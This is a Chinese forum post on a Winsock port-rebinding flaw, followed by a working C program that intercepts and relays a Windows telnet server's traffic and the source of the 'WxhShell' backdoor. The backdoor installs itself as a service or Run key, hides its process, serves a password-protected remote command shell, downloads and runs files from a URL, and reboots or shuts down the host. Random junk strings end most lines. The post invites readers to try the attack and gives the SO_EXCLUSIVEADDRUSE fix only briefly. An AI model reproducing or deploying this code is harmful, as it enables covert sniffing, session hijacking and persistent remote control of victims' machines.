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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: %k2FPmA6  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Cp^g'&  
wz#A1F  
  saddr.sin_family = AF_INET; z1vw'VT>  
Ql &0O27  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 'z5h3J  
\vCGU>UY  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); \gItZ}+c4}  
i.y=8GxY  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 _ij$f<  
EY=FDlV  
  这意味着什么?意味着可以进行如下的攻击: @A{m5h  
WhFS2Jl0  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 rQJ"&CapT  
 8gC)5Y  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Hm fXe  
wzh ]97b  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 GX?*1  
YTQps&mD.  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  J-V49X#  
_6MdF<Xb/  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 B[F-gq-  
ka/XK[/'  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 02\JzBU  
Gr: 3{o`  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 !8R@@,_v  
^:u?ye;  
  #include *5OCqU+g  
  #include Cqx v"NN  
  #include C!&y   
  #include    .VM3D0aV  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ghAi{@s$)  
  int main()  9S1)U$  
  { tHh HrMxO  
  WORD wVersionRequested; <x0H@?f7  
  DWORD ret; zN~6HZ_:^  
  WSADATA wsaData; 7NL% $Vf  
  BOOL val; d-B7["z,  
  SOCKADDR_IN saddr; lw[e *q{s.  
  SOCKADDR_IN scaddr;  ^$-Ye]<  
  int err; r?A|d.Tl  
  SOCKET s; G[h(xp?,l  
  SOCKET sc; A&,,9G<  
  int caddsize; ]|U-y6 45  
  HANDLE mt; ECcZz.  
  DWORD tid;   {v` 2sB  
  wVersionRequested = MAKEWORD( 2, 2 ); bk<FL6z z  
  err = WSAStartup( wVersionRequested, &wsaData ); p'f%%#I  
  if ( err != 0 ) { 2(M6(xH>  
  printf("error!WSAStartup failed!\n"); #yW\5)  
  return -1; 3s*(uS(  
  } 1J}8sG2`  
  saddr.sin_family = AF_INET; y(a!YicA?  
   QI}E4-s8  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 U# JIs  
~AZWds(,N  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); nfdq y)  
  saddr.sin_port = htons(23); ` ;)ZGY\  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) o.7{O,v  
  { 5$rSEVg9  
  printf("error!socket failed!\n"); h}L}[   
  return -1; fuX'~$b.fA  
  } EQ<RDhC@b  
  val = TRUE; nSx]QREL!  
  //SO_REUSEADDR选项就是可以实现端口重绑定的  Paj vb-f  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) r$(~j^<s  
  { =f1B,%7G+5  
  printf("error!setsockopt failed!\n"); . +  
  return -1; PftxqJz  
  } H'=(`  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; e3(/qMl  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 6l\FIah@  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 6#e::GD  
lfN~A"X  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Sw[{JB;y,  
  { ,Hn^z<f   
  ret=GetLastError(); OGO ~f;7  
  printf("error!bind failed!\n"); d s:->+o  
  return -1; 9GLb"6+PK  
  } 7KjUW\mN2Z  
  listen(s,2); hBU\'.x  
  while(1) 6oD\-H  
  { k`{7}zxS  
  caddsize = sizeof(scaddr); ihCIh6  
  //接受连接请求 !CUoHTmB  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); )|bC^{kH!l  
  if(sc!=INVALID_SOCKET) nV_8Ke  
  { c#/H:?q?a  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); V5`^Y=X(%  
  if(mt==NULL) ut2~rRiK  
  { M@Q3M(z  
  printf("Thread Creat Failed!\n"); Vz=auM1xZ  
  break; ZD>a>]  
  } TX [%(ft  
  } ciQZHH2  
  CloseHandle(mt); ^|MjJsn  
  } ^:=f^N=^  
  closesocket(s); @>Mxwpl?  
  WSACleanup(); je/!{(  
  return 0; O,@~L$a:YZ  
  }   ` `U^COD  
  DWORD WINAPI ClientThread(LPVOID lpParam) t.Nb? /  
  { %?Y[Bk3p  
  SOCKET ss = (SOCKET)lpParam; _<c$)1  
  SOCKET sc; % ps$qB'  
  unsigned char buf[4096]; 'x"08v$  
  SOCKADDR_IN saddr; !h[VUg_8  
  long num; XFVV},V  
  DWORD val; lj=l4 &.i  
  DWORD ret; >slm$~rv  
  //如果是隐藏端口应用的话,可以在此处加一些判断 5Por "&%  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ]b/S6oc6  
  saddr.sin_family = AF_INET; 5N[9 vW  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Z;l`YK^-  
  saddr.sin_port = htons(23); [U@; \V$  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _ *f  
  { ``VW;l{  
  printf("error!socket failed!\n"); @%ip7Y]e  
  return -1; RoGwK*j0+  
  } W,^W^:m-x  
  val = 100; -_ C#wtC  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) G q<X4C#|  
  { D]G)j  
  ret = GetLastError(); yifY%!@Xu  
  return -1; :#~U<C@o  
  } uw(NG.4  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &fa5laJb  
  { 7CXW#H  
  ret = GetLastError(); !~]<$WZV  
  return -1; }Ew hj>w  
  } |*/[`|*G  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 3DgsI7-F  
  { WYB{% yf   
  printf("error!socket connect failed!\n"); Isy'{ -H  
  closesocket(sc); 7{@l%jx][  
  closesocket(ss); XW{>-PBg:  
  return -1; 0& >H^  
  } Q6gt+FKU9  
  while(1) 1923N]b  
  { bHLT}x/Gw  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 G;NF5`*4mc  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 @yd4$Mv8%  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ]?O2:X  
  num = recv(ss,buf,4096,0); @Jm7^;9/  
  if(num>0) /S5| wNu  
  send(sc,buf,num,0); (+uj1z^  
  else if(num==0) tGA :[SP  
  break; [r+ZE7$2b"  
  num = recv(sc,buf,4096,0); 0:0NXVYs&  
  if(num>0) uiq^|5Z  
  send(ss,buf,num,0); tE6!+c<7  
  else if(num==0) i) E|bW;  
  break; )^||\G  
  } wNFz*|n  
  closesocket(ss); H{J'# 9H  
  closesocket(sc); @%k}FL=:t(  
  return 0 ; GdV1^`M6  
  } ~Tbj=f  
~qe%Yq  
7dsefNPb  
========================================================== wo_,Y0vfB  
fb8%~3i>  
下边附上一个代码,,WXhSHELL sGh(#A0Pt  
2(5ebe[  
========================================================== qTZFPfyU  
n  -(  
#include "stdafx.h" su*Pk|6%  
qW:HNEiir  
#include <stdio.h> kmzH'wktt  
#include <string.h> K\"R&{+=  
#include <windows.h> u:0aM}9A  
#include <winsock2.h> lL1k.& |5m  
#include <winsvc.h> pym!U@$t  
#include <urlmon.h> F}Vr:~  
2'=T[<nNB  
#pragma comment (lib, "Ws2_32.lib") ifN64`AhRX  
#pragma comment (lib, "urlmon.lib") Z{&cuo.@<]  
s0Z uWVip  
#define MAX_USER   100 // 最大客户端连接数 24 1*!  
#define BUF_SOCK   200 // sock buffer @(r /dZc  
#define KEY_BUFF   255 // 输入 buffer C8FB:JNJV  
__mF ?m  
#define REBOOT     0   // 重启 (/35p g6\  
#define SHUTDOWN   1   // 关机 WA dCF-S  
4pw6bK,s2\  
#define DEF_PORT   5000 // 监听端口 D %Xo&V[  
quY:pqG38q  
#define REG_LEN     16   // 注册表键长度  {o(j^@  
#define SVC_LEN     80   // NT服务名长度 q, O$ %-70  
n; {76Q  
// 从dll定义API ;a:[8Yi  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); LL:_L<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %*BlWk!Q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2eMTxwt*S  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); jLg9H/w{  
mI74x3 [  
// wxhshell配置信息 SlsdqP 9  
struct WSCFG { oudxm[/U  
  int ws_port;         // 监听端口 [eTSZjIN7  
  char ws_passstr[REG_LEN]; // 口令 m2AnXY\  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~69&6C1Ch  
  char ws_regname[REG_LEN]; // 注册表键名  *6q5S4 r  
  char ws_svcname[REG_LEN]; // 服务名 E>l~-PaZY  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 sQkhwMg  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 oJN#C%r7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7uzk p&+:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no v:H$<~)E|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |i++0BU  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Ub6jxib  
a+n0|CvF  
}; T=ev[ mS  
W6Y]N/v3>  
// default Wxhshell configuration JtER_(.  
struct WSCFG wscfg={DEF_PORT, |\pbir  
    "xuhuanlingzhe", /Rl6g9}  
    1, 3Z1CWzq(  
    "Wxhshell", p5G?N(l  
    "Wxhshell", S]+ :{9d  
            "WxhShell Service", K6R.@BMN  
    "Wrsky Windows CmdShell Service", TYW&!sm  
    "Please Input Your Password: ", wmTb97o  
  1, d3xmtG {i  
  "http://www.wrsky.com/wxhshell.exe", F6z%VWU  
  "Wxhshell.exe" 'inFKy'H  
    }; )ut&@]  
EN/,5<S<,[  
// 消息定义模块 M3.do^ss  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {.XEL  
char *msg_ws_prompt="\n\r? for help\n\r#>"; YPxM<Gfa8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Yw- G'  
char *msg_ws_ext="\n\rExit."; _*f`iu:`  
char *msg_ws_end="\n\rQuit."; (!:,+*YY  
char *msg_ws_boot="\n\rReboot..."; _bNzXF  
char *msg_ws_poff="\n\rShutdown..."; 7Op>i,HZk\  
char *msg_ws_down="\n\rSave to "; >7 ="8  
i{`:(F5*  
char *msg_ws_err="\n\rErr!"; v/_  
char *msg_ws_ok="\n\rOK!"; c Vc-  
r]6C  
char ExeFile[MAX_PATH]; ?` ?)QE8  
int nUser = 0; nR*ryv  
HANDLE handles[MAX_USER]; *WuID2cOI  
int OsIsNt; zolt$p  
2Wdyxj Q  
SERVICE_STATUS       serviceStatus; 7<*yS310  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Abc)i7!.,.  
-qGa]a  
// 函数声明 m^zUmrj[  
int Install(void); 6e |*E`I  
int Uninstall(void); HAa; hb  
int DownloadFile(char *sURL, SOCKET wsh); yU*8|FQbP  
int Boot(int flag); YuO.yh_  
void HideProc(void); tS6qWtE  
int GetOsVer(void); vw9@v`k  
int Wxhshell(SOCKET wsl); M!o##* *`  
void TalkWithClient(void *cs); iUN Ib  
int CmdShell(SOCKET sock); VXwU?_4J.  
int StartFromService(void); Vh4X%b$TV  
int StartWxhshell(LPSTR lpCmdLine); rbWP78  
-Ps!LI{@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *_d7E   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); X9V*UXTc  
;>Ib^ov  
// 数据结构和表定义 @J/K-.r  
SERVICE_TABLE_ENTRY DispatchTable[] = koug[5T5  
{ "]} bFO7C  
{wscfg.ws_svcname, NTServiceMain}, dl.p\t(1  
{NULL, NULL} WvY? +JXJ  
}; %WjXg:R  
JxM]9<a=4  
// 自我安装 MDnua  
int Install(void) JkbQyn  
{ <<][hQs  
  char svExeFile[MAX_PATH]; |IzPgC  
  HKEY key; [<@.eH$hU/  
  strcpy(svExeFile,ExeFile); + R~'7*EI  
asppRL||  
// 如果是win9x系统,修改注册表设为自启动 8.O8No:'&  
if(!OsIsNt) { I=`U7Bis"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Fj2BnM3#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;~m8;8)  
  RegCloseKey(key); , s"^kFl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #V~me  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a .k.n<  
  RegCloseKey(key); 0Qf,@^zL*  
  return 0; T4Pgbop  
    } u. F9g #  
  } wfLaRP  
} 0x@6^ %^\  
else { *Q "wwpl?  
Mh]Gw(?w  
// 如果是NT以上系统,安装为系统服务 -lY6|79bF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4O^xY 6m  
if (schSCManager!=0) *RJG!t*t  
{ qm/22:&v5  
  SC_HANDLE schService = CreateService . 1Dg s=|  
  ( )vE~'W  
  schSCManager, t.i 8 2Q  
  wscfg.ws_svcname, ;DfY#-  
  wscfg.ws_svcdisp, _@ qjV~%Sy  
  SERVICE_ALL_ACCESS, 286jI7T  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , pmyXLT  
  SERVICE_AUTO_START, L>Fa^jq5  
  SERVICE_ERROR_NORMAL, w;4<h8Wn5  
  svExeFile, _-K2/6zy  
  NULL, #lL^?|M  
  NULL, , /Z%@-rF  
  NULL, ;n*.W|Uph  
  NULL, 0ypNUG}   
  NULL ymhtX6]  
  ); qN9(S:_Px  
  if (schService!=0) -=)H{  
  { }C"%p8=HM  
  CloseServiceHandle(schService); V^bwXr4f  
  CloseServiceHandle(schSCManager); 6 ob@[ @  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); p>v$FiV2N  
  strcat(svExeFile,wscfg.ws_svcname); 3M[! N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ZbW17@b  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Y!w`YYKP  
  RegCloseKey(key); ; F"g$_D0  
  return 0; *&^Pj%DX  
    } B" 1c  
  } yg<R=$n,Q  
  CloseServiceHandle(schSCManager); rr],DGg+B]  
} /~%&vpF-L  
} 6H.0vN&  
) j#`r/  
return 1; PUMXOTu]  
} 2*;~S4 4  
*v^Jb/E315  
// 自我卸载 9<6;Hr,>G  
int Uninstall(void) P64PPbP  
{ q376m-+  
  HKEY key; un mJbY;t  
Q4#m\KK;i9  
if(!OsIsNt) { U)] oO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /K@XzwM  
  RegDeleteValue(key,wscfg.ws_regname); ;PF<y9M  
  RegCloseKey(key); {4<C_52t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N2^=E1|_  
  RegDeleteValue(key,wscfg.ws_regname); !C ':  
  RegCloseKey(key);  MzdV2.  
  return 0; _^Ubs>d=*  
  } /|6N*>l)y  
} dd%6t  
} /=nJRC3.  
else { e5ZX   
24 'J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); EIP /V  
if (schSCManager!=0) @e.C"@G  
{ X:"i4i[}{9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Cn34b_Sbd  
  if (schService!=0) |.: q  
  { RB7tmJ c  
  if(DeleteService(schService)!=0) { ^,TO#%$iE  
  CloseServiceHandle(schService); MS~(D.@ZS  
  CloseServiceHandle(schSCManager); !Iy_UfW  
  return 0; V(I8=rVH  
  } $Vg>I>i  
  CloseServiceHandle(schService); EU/C@B2*Dl  
  } C_}]`[  
  CloseServiceHandle(schSCManager); nV|EQs4(  
} mp1@|*Sn  
} Uiw2oi&_  
HAdg/3Hw  
return 1; nfbR P t  
} l ^0@86  
@Md/Q~>  
// 从指定url下载文件 hR?{3d#x2  
int DownloadFile(char *sURL, SOCKET wsh) Mq156TL  
{ hn G Z=  
  HRESULT hr; e'NJnPO  
char seps[]= "/"; me$Z~/Akm  
char *token; AlaW=leTe  
char *file; 5{X<y#vAC0  
char myURL[MAX_PATH]; {UI+$/v#  
char myFILE[MAX_PATH]; y%cP1y)  
Qz1E 2yJ  
strcpy(myURL,sURL); vm8eZG|  
  token=strtok(myURL,seps);  ?(1 y  
  while(token!=NULL) rH Lm\3  
  { &jJL"gq"  
    file=token; \;B iq`  
  token=strtok(NULL,seps); Gx/Oi)&/  
  } ASA,{w]  
m.rmM`  
GetCurrentDirectory(MAX_PATH,myFILE); +Mb.:_7'  
strcat(myFILE, "\\"); Rh{f5-  
strcat(myFILE, file); GR_-9}jQP  
  send(wsh,myFILE,strlen(myFILE),0); (mpNcOY<D  
send(wsh,"...",3,0); z43M] P<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); m=:9+z  
  if(hr==S_OK) x=P\qjSa  
return 0; By!o3}~g  
else m+[Ux{$  
return 1; c7k~S-nU  
H/ HMm{4  
} Ax7[;|2  
&K#M*B ,*p  
// 系统电源模块 IM'r8 V  
int Boot(int flag) K;G~V\  
{ p8O2Z? \  
  HANDLE hToken; :P~6~ K um  
  TOKEN_PRIVILEGES tkp; ?);v`]  
&U#|uc!+  
  if(OsIsNt) { *L^,|   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Z@S3ZGe  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .|70;  
    tkp.PrivilegeCount = 1; U%QI a TN*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 013x8!i  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #=A)XlZMd  
if(flag==REBOOT) { )7Wf@@R'F  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) AQvudx)@"  
  return 0; :g0zT[f  
} uo 8YP<q  
else { FcU SE  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) uw_Y\F-$  
  return 0; \Gvm9M  
} cdT7 @  
  } .Yn_*L+4*  
  else { kn 4`Fa;)O  
if(flag==REBOOT) { Bj;'qB>3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {4Cmu;u  
  return 0; 'zTLl8P  
} '-~~-}= sJ  
else { 1>h]{%I  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) u&7[n_  
  return 0; z Rr*7G  
} }Zn}  
} aX'*pK/-  
sDlO#  
return 1; aEeodA<(  
} Z@!+v 19^  
mz0X3  
// win9x进程隐藏模块 hRhe& ,v  
void HideProc(void) YNF k  
{ <PH #[dH  
htF] W|z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `M8i92V\qY  
  if ( hKernel != NULL ) NZ0;5xGR  
  { "+G8d' %YV  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); xi}skA  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !Wnb|=j  
    FreeLibrary(hKernel); 0 M[EEw3  
  } lRFYx?y  
`d}2O%P  
return; ukyZes8o K  
} /*mI<[xb  
^<2p~h0 \  
// 获取操作系统版本 8&slu{M- t  
int GetOsVer(void) + cN8Y}V  
{ X l5 A 'h  
  OSVERSIONINFO winfo; 1mG-}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); kt:! 7  
  GetVersionEx(&winfo); YIYmiv5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) EaN6^S=  
  return 1; ZUd-<y  
  else r;N|)  
  return 0; u'BaKWPS  
} (*iHf"=\  
1=V-V<  
// 客户端句柄模块 3a'<*v<xw  
int Wxhshell(SOCKET wsl) MQ6KN(?\ZL  
{ @K-">f  
  SOCKET wsh; 0 kW,I  
  struct sockaddr_in client; C~/a-  
  DWORD myID; J)-x!y>  
}BP;1y6-r  
  while(nUser<MAX_USER) KbeC"mi  
{ 8$}<, c(  
  int nSize=sizeof(client); ]c'A%:f<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); C?eH]hkZ3  
  if(wsh==INVALID_SOCKET) return 1; }qD\0+`qi  
5=ryDrx  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Q^")jPd  
if(handles[nUser]==0) Y}wyw8g/  
  closesocket(wsh); oUlVI*~ND  
else ujpJ@OWj  
  nUser++; 3^yK!-Wp(  
  } o66}yJzmD  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )Pv%#P-<  
k8zI(5.>  
  return 0; + {'.7#  
} uwGc@xOgg,  
A.w.rVDD  
// 关闭 socket 6D3B^.r j]  
void CloseIt(SOCKET wsh) X"%gQ.1|{j  
{ )9]PMA?u  
closesocket(wsh); 1$h,m63)  
nUser--; vnuN6M{  
ExitThread(0); 5v*\Zr5ha  
} nX8v+:&}  
CU!Dhm/U  
// 客户端请求句柄 b&U62iq  
void TalkWithClient(void *cs) c7H^$_^=  
{ } 0y"F  
pMM8-R'W-  
  SOCKET wsh=(SOCKET)cs; ]7A'7p $Y  
  char pwd[SVC_LEN]; !j-Z Lq:;  
  char cmd[KEY_BUFF]; G 01ON0  
char chr[1]; hM! a_'  
int i,j; 5|)W.*Q  
=7UsVn#o  
  while (nUser < MAX_USER) { "\yT7?},  
2GG2jky{/  
if(wscfg.ws_passstr) { zfdl45  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =?8@#]G+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2&cT~ZX&'  
  //ZeroMemory(pwd,KEY_BUFF); m9;SrCN_  
      i=0; v`T c}c '  
  while(i<SVC_LEN) { qf-8<{T  
wC'Szni  
  // 设置超时 -mh3DhJ,  
  fd_set FdRead; *{5fq_  
  struct timeval TimeOut; (/$^uWj  
  FD_ZERO(&FdRead); {P-):  
  FD_SET(wsh,&FdRead); ~&uHbTq  
  TimeOut.tv_sec=8; |Y.?_lC  
  TimeOut.tv_usec=0; {M)Nnst"~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &H+xzN  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 'Pbr v  
#5uOx(>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uXiN~j &Be  
  pwd=chr[0]; ?e?!3Bx;EM  
  if(chr[0]==0xd || chr[0]==0xa) { uQzXfOq  
  pwd=0; /x *3}oI  
  break; \w8\1~#  
  } 7d\QB (~  
  i++; K (|}dl:  
    } @O~pV`_tD  
nJ;.Td  
  // 如果是非法用户,关闭 socket .6J$,.Ig  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _Z\G5x  
} # f\rt   
FP>2C9:d  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %z$#6?OK^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0n'_{\yz  
cZ3v=ke^  
while(1) { _yT Ed"$  
!<F3d`a  
  ZeroMemory(cmd,KEY_BUFF); fV~[;e;U.  
GLODVcjf  
      // 自动支持客户端 telnet标准   ! d gNtI@  
  j=0; 1Z&(6cDY8M  
  while(j<KEY_BUFF) { TcoB,Kdce  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); glw+l'@  
  cmd[j]=chr[0]; Ho]su?  
  if(chr[0]==0xa || chr[0]==0xd) { ,]D,P  
  cmd[j]=0; w!XD/j N  
  break; QZ8IV>  
  } -Qe'YBy:  
  j++; s#GLJl\E_P  
    } |vC~HJpuv'  
{.]7!ISl5  
  // 下载文件 ;FEqe 49  
  if(strstr(cmd,"http://")) { [fy LV`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); K)P%;X  
  if(DownloadFile(cmd,wsh)) !@"OB~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); rZpXPI  
  else QsW/X0YBv  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Fj!U|l\_9  
  } H;"4 C8K7  
  else { !`r$"}g  
ajpX L  
    switch(cmd[0]) { 8?C5L8)  
  w2'5#`m  
  // 帮助 5-A\9UC*@  
  case '?': { & nK<:^n  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); qJw_  
    break; y_[vr:s5pG  
  } I`#JwMU;m  
  // 安装 J~- 4C)  
  case 'i': {  AOx[  
    if(Install()) " Yy n/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t`QENXA}  
    else Bbp|!+KP{(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TsZ@  
    break; i@'dH3-kO  
    }  =BrRYA  
  // 卸载 K> e7pu  
  case 'r': { >R=|Wo`Ri  
    if(Uninstall()) wKHBAW[i]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fXB0j;A  
    else Z6m)tZVM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p b,. r  
    break; :v 4]D4\o  
    } IR bfNq^:  
  // 显示 wxhshell 所在路径 WF"k[2  
  case 'p': { DV{=n C  
    char svExeFile[MAX_PATH]; ?X;RLpEc|A  
    strcpy(svExeFile,"\n\r"); hv+zGID7  
      strcat(svExeFile,ExeFile); ;wD)hNLAvR  
        send(wsh,svExeFile,strlen(svExeFile),0); %XTI-B/K  
    break; 2T`!v  
    } =R\]=cRbg  
  // 重启 rM "l@3hP  
  case 'b': { OrG).^l  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1:wQ.T  
    if(Boot(REBOOT)) i6N',&jFU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -$@h1Y  
    else { .e5Mnd%$M  
    closesocket(wsh); NEF# }s2=  
    ExitThread(0); C7?/%7{  
    } et+0FF ,  
    break; P|> ~_$W  
    } ?fS9J  
  // 关机 mV m Gg,  
  case 'd': { jFb?b6b  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); mBC+6(5V  
